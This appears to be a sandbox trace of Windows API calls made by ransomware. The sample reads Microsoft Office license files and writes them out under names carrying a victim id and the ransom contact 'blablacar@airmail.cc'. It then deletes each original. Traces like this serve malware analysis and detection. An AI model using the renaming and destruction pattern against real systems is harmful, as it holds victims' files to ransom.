[0211.817] lstrlenW (lpString=".doc") returned 4 [0211.817] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0211.817] lstrlenW (lpString=".docx") returned 5 [0211.817] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0211.817] lstrlenW (lpString=".pdf") returned 4 [0211.817] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0211.817] lstrlenW (lpString=".xls") returned 4 [0211.817] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0211.817] lstrlenW (lpString=".xlsx") returned 5 [0211.817] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0211.817] lstrlenW (lpString=".ppt") returned 4 [0211.817] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0211.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Grace-ppd.xrm-ms") returned 76 [0211.817] lstrlenW (lpString=".zip") returned 4 [0211.817] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0211.817] lstrlenW (lpString=".rar") returned 4 [0211.817] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0211.817] lstrlenW (lpString=".bz2") returned 4 [0211.817] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0211.817] lstrlenW (lpString=".7z") returned 3 [0211.817] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0211.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Grace-ppd.xrm-ms") returned 76 [0211.817] lstrlenW (lpString=".dbf") returned 4 [0211.818] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0211.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Grace-ppd.xrm-ms") returned 76 [0211.818] lstrlenW (lpString=".1cd") returned 4 [0211.818] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0211.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Grace-ppd.xrm-ms") returned 76 [0211.818] lstrlenW (lpString=".jpg") returned 4 [0211.818] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0211.818] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0211.818] lstrlenW (lpString="PersonalR_Grace-ul-oob.xrm-ms") returned 29 [0211.818] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalr_grace-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0211.818] GetFileSizeEx (in: hFile=0x51c, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=11604) returned 1 [0211.819] CloseHandle (hObject=0x51c) returned 1 [0211.819] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalr_grace-ul-oob.xrm-ms")) returned 0x220 [0211.819] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Grace-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalr_grace-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0211.819] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalr_grace-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0211.820] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0211.820] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0211.820] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Grace-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalr_grace-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0211.820] GetLastError () returned 0x0 [0211.820] ReadFile (in: hFile=0x51c, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x2d54, lpOverlapped=0x0) returned 1 [0211.823] WriteFile (in: hFile=0x38c, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x2d60, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x2d60, lpOverlapped=0x0) returned 1 [0211.824] ReadFile (in: hFile=0x51c, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0211.824] WriteFile (in: hFile=0x38c, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x10e, lpOverlapped=0x0) returned 1 [0211.824] SetEndOfFile (hFile=0x38c) returned 1 [0211.824] CloseHandle (hObject=0x38c) returned 1 [0211.824] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0211.824] SetEndOfFile (hFile=0x51c) returned 1 [0211.827] CloseHandle (hObject=0x51c) returned 1 [0211.827] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Grace-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0211.827] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalr_grace-ul-oob.xrm-ms")) returned 1 [0211.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Grace-ul-oob.xrm-ms") returned 79 [0211.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Grace-ul-oob.xrm-ms") returned 79 [0211.828] lstrlenW (lpString=".doc") returned 4 [0211.828] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0211.828] lstrlenW (lpString=".docx") returned 5 [0211.828] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0211.828] lstrlenW (lpString=".pdf") returned 4 [0211.828] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0211.828] lstrlenW (lpString=".xls") returned 4 [0211.828] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0211.829] lstrlenW (lpString=".xlsx") returned 5 [0211.829] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0211.829] lstrlenW (lpString=".ppt") returned 4 [0211.829] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0211.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Grace-ul-oob.xrm-ms") returned 79 [0211.829] lstrlenW (lpString=".zip") returned 4 [0211.829] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0211.829] lstrlenW (lpString=".rar") returned 4 [0211.829] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0211.829] lstrlenW (lpString=".bz2") returned 4 [0211.829] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0211.829] lstrlenW (lpString=".7z") returned 3 [0211.829] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0211.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Grace-ul-oob.xrm-ms") returned 79 [0211.829] lstrlenW (lpString=".dbf") returned 4 [0211.829] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0211.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Grace-ul-oob.xrm-ms") returned 79 [0211.829] lstrlenW (lpString=".1cd") returned 4 [0211.829] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0211.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Grace-ul-oob.xrm-ms") returned 79 [0211.829] lstrlenW (lpString=".jpg") returned 4 [0211.829] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0211.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Grace-ul-oob.xrm-ms") returned 79 [0211.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Grace-ul-oob.xrm-ms") returned 79 [0211.829] lstrlenW (lpString=".doc") returned 4 [0211.829] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0211.829] lstrlenW (lpString=".docx") returned 5 [0211.829] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0211.829] lstrlenW (lpString=".pdf") returned 4 [0211.829] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0211.829] lstrlenW (lpString=".xls") returned 4 [0211.829] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0211.829] lstrlenW (lpString=".xlsx") returned 5 [0211.829] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0211.830] lstrlenW (lpString=".ppt") returned 4 [0211.830] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0211.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Grace-ul-oob.xrm-ms") returned 79 [0211.830] lstrlenW (lpString=".zip") returned 4 [0211.830] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0211.830] lstrlenW (lpString=".rar") returned 4 [0211.830] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0211.830] lstrlenW (lpString=".bz2") returned 4 [0211.830] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0211.830] lstrlenW (lpString=".7z") returned 3 [0211.830] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0211.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Grace-ul-oob.xrm-ms") returned 79 [0211.830] lstrlenW (lpString=".dbf") returned 4 [0211.830] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0211.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Grace-ul-oob.xrm-ms") returned 79 [0211.830] lstrlenW (lpString=".1cd") returned 4 [0211.830] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0211.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Grace-ul-oob.xrm-ms") returned 79 [0211.830] lstrlenW (lpString=".jpg") returned 4 [0211.830] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0211.830] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0211.830] lstrlenW (lpString="PersonalR_OEM_Perp-pl.xrm-ms") returned 28 [0211.830] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalr_oem_perp-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0211.831] GetFileSizeEx (in: hFile=0x51c, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=10647) returned 1 [0211.831] CloseHandle (hObject=0x51c) returned 1 [0211.831] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalr_oem_perp-pl.xrm-ms")) returned 0x220 [0211.831] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_OEM_Perp-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalr_oem_perp-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0211.831] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalr_oem_perp-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0211.832] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0211.832] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0211.832] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_OEM_Perp-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalr_oem_perp-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0211.832] GetLastError () returned 0x0 [0211.832] ReadFile (in: hFile=0x51c, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x2997, lpOverlapped=0x0) returned 1 [0212.080] WriteFile (in: hFile=0x38c, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x29a0, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x29a0, lpOverlapped=0x0) returned 1 [0212.106] ReadFile (in: hFile=0x51c, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0212.106] WriteFile (in: hFile=0x38c, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x10c, lpOverlapped=0x0) returned 1 [0212.106] SetEndOfFile (hFile=0x38c) returned 1 [0212.107] CloseHandle (hObject=0x38c) returned 1 [0212.107] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0212.107] SetEndOfFile (hFile=0x51c) returned 1 [0212.110] CloseHandle (hObject=0x51c) returned 1 [0212.110] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_OEM_Perp-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0212.110] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalr_oem_perp-pl.xrm-ms")) returned 1 [0212.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_OEM_Perp-pl.xrm-ms") returned 78 [0212.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_OEM_Perp-pl.xrm-ms") returned 78 [0212.112] lstrlenW (lpString=".doc") returned 4 [0212.112] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0212.112] lstrlenW (lpString=".docx") returned 5 [0212.112] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0212.112] lstrlenW (lpString=".pdf") returned 4 [0212.112] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0212.112] lstrlenW (lpString=".xls") returned 4 [0212.112] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0212.112] lstrlenW (lpString=".xlsx") returned 5 [0212.112] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0212.112] lstrlenW (lpString=".ppt") returned 4 [0212.112] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0212.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_OEM_Perp-pl.xrm-ms") returned 78 [0212.112] lstrlenW (lpString=".zip") returned 4 [0212.112] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0212.112] lstrlenW (lpString=".rar") returned 4 [0212.112] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0212.112] lstrlenW (lpString=".bz2") returned 4 [0212.112] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0212.112] lstrlenW (lpString=".7z") returned 3 [0212.112] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0212.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_OEM_Perp-pl.xrm-ms") returned 78 [0212.112] lstrlenW (lpString=".dbf") returned 4 [0212.112] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0212.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_OEM_Perp-pl.xrm-ms") returned 78 [0212.112] lstrlenW (lpString=".1cd") returned 4 [0212.112] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0212.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_OEM_Perp-pl.xrm-ms") returned 78 [0212.113] lstrlenW (lpString=".jpg") returned 4 [0212.113] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0212.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_OEM_Perp-pl.xrm-ms") returned 78 [0212.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_OEM_Perp-pl.xrm-ms") returned 78 [0212.113] lstrlenW (lpString=".doc") returned 4 [0212.113] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0212.113] lstrlenW (lpString=".docx") returned 5 [0212.113] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0212.113] lstrlenW (lpString=".pdf") returned 4 [0212.113] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0212.113] lstrlenW (lpString=".xls") returned 4 [0212.113] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0212.113] lstrlenW (lpString=".xlsx") returned 5 [0212.113] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0212.113] lstrlenW (lpString=".ppt") returned 4 [0212.113] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0212.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_OEM_Perp-pl.xrm-ms") returned 78 [0212.113] lstrlenW (lpString=".zip") returned 4 [0212.113] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0212.113] lstrlenW (lpString=".rar") returned 4 [0212.113] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0212.113] lstrlenW (lpString=".bz2") returned 4 [0212.113] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0212.113] lstrlenW (lpString=".7z") returned 3 [0212.113] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0212.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_OEM_Perp-pl.xrm-ms") returned 78 [0212.113] lstrlenW (lpString=".dbf") returned 4 [0212.113] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0212.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_OEM_Perp-pl.xrm-ms") returned 78 [0212.113] lstrlenW (lpString=".1cd") returned 4 [0212.113] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0212.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_OEM_Perp-pl.xrm-ms") returned 78 [0212.114] lstrlenW (lpString=".jpg") returned 4 [0212.114] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0212.114] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0212.114] lstrlenW (lpString="PersonalR_Trial-ul-oob.xrm-ms") returned 29 [0212.114] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalr_trial-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0212.115] GetFileSizeEx (in: hFile=0x51c, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=11601) returned 1 [0212.115] CloseHandle (hObject=0x51c) returned 1 [0212.115] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalr_trial-ul-oob.xrm-ms")) returned 0x220 [0212.115] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Trial-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalr_trial-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0212.115] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalr_trial-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0212.115] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0212.116] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0212.116] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Trial-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalr_trial-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0212.116] GetLastError () returned 0x0 [0212.116] ReadFile (in: hFile=0x51c, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x2d51, lpOverlapped=0x0) returned 1 [0212.126] WriteFile (in: hFile=0x38c, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x2d60, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x2d60, lpOverlapped=0x0) returned 1 [0212.127] ReadFile (in: hFile=0x51c, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0212.127] WriteFile (in: hFile=0x38c, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x10e, lpOverlapped=0x0) returned 1 [0212.127] SetEndOfFile (hFile=0x38c) returned 1 [0212.127] CloseHandle (hObject=0x38c) returned 1 [0212.127] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0212.127] SetEndOfFile (hFile=0x51c) returned 1 [0212.130] CloseHandle (hObject=0x51c) returned 1 [0212.130] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Trial-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0212.130] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalr_trial-ul-oob.xrm-ms")) returned 1 [0212.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Trial-ul-oob.xrm-ms") returned 79 [0212.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Trial-ul-oob.xrm-ms") returned 79 [0212.132] lstrlenW (lpString=".doc") returned 4 [0212.132] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0212.132] lstrlenW (lpString=".docx") returned 5 [0212.132] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0212.132] lstrlenW (lpString=".pdf") returned 4 [0212.132] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0212.132] lstrlenW (lpString=".xls") returned 4 [0212.132] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0212.132] lstrlenW (lpString=".xlsx") returned 5 [0212.132] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0212.132] lstrlenW (lpString=".ppt") returned 4 [0212.132] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0212.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Trial-ul-oob.xrm-ms") returned 79 [0212.132] lstrlenW (lpString=".zip") returned 4 [0212.132] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0212.132] lstrlenW (lpString=".rar") returned 4 [0212.132] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0212.132] lstrlenW (lpString=".bz2") returned 4 [0212.132] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0212.132] lstrlenW (lpString=".7z") returned 3 [0212.132] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0212.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Trial-ul-oob.xrm-ms") returned 79 [0212.132] lstrlenW (lpString=".dbf") returned 4 [0212.132] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0212.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Trial-ul-oob.xrm-ms") returned 79 [0212.132] lstrlenW (lpString=".1cd") returned 4 [0212.132] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0212.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Trial-ul-oob.xrm-ms") returned 79 [0212.132] lstrlenW (lpString=".jpg") returned 4 [0212.132] 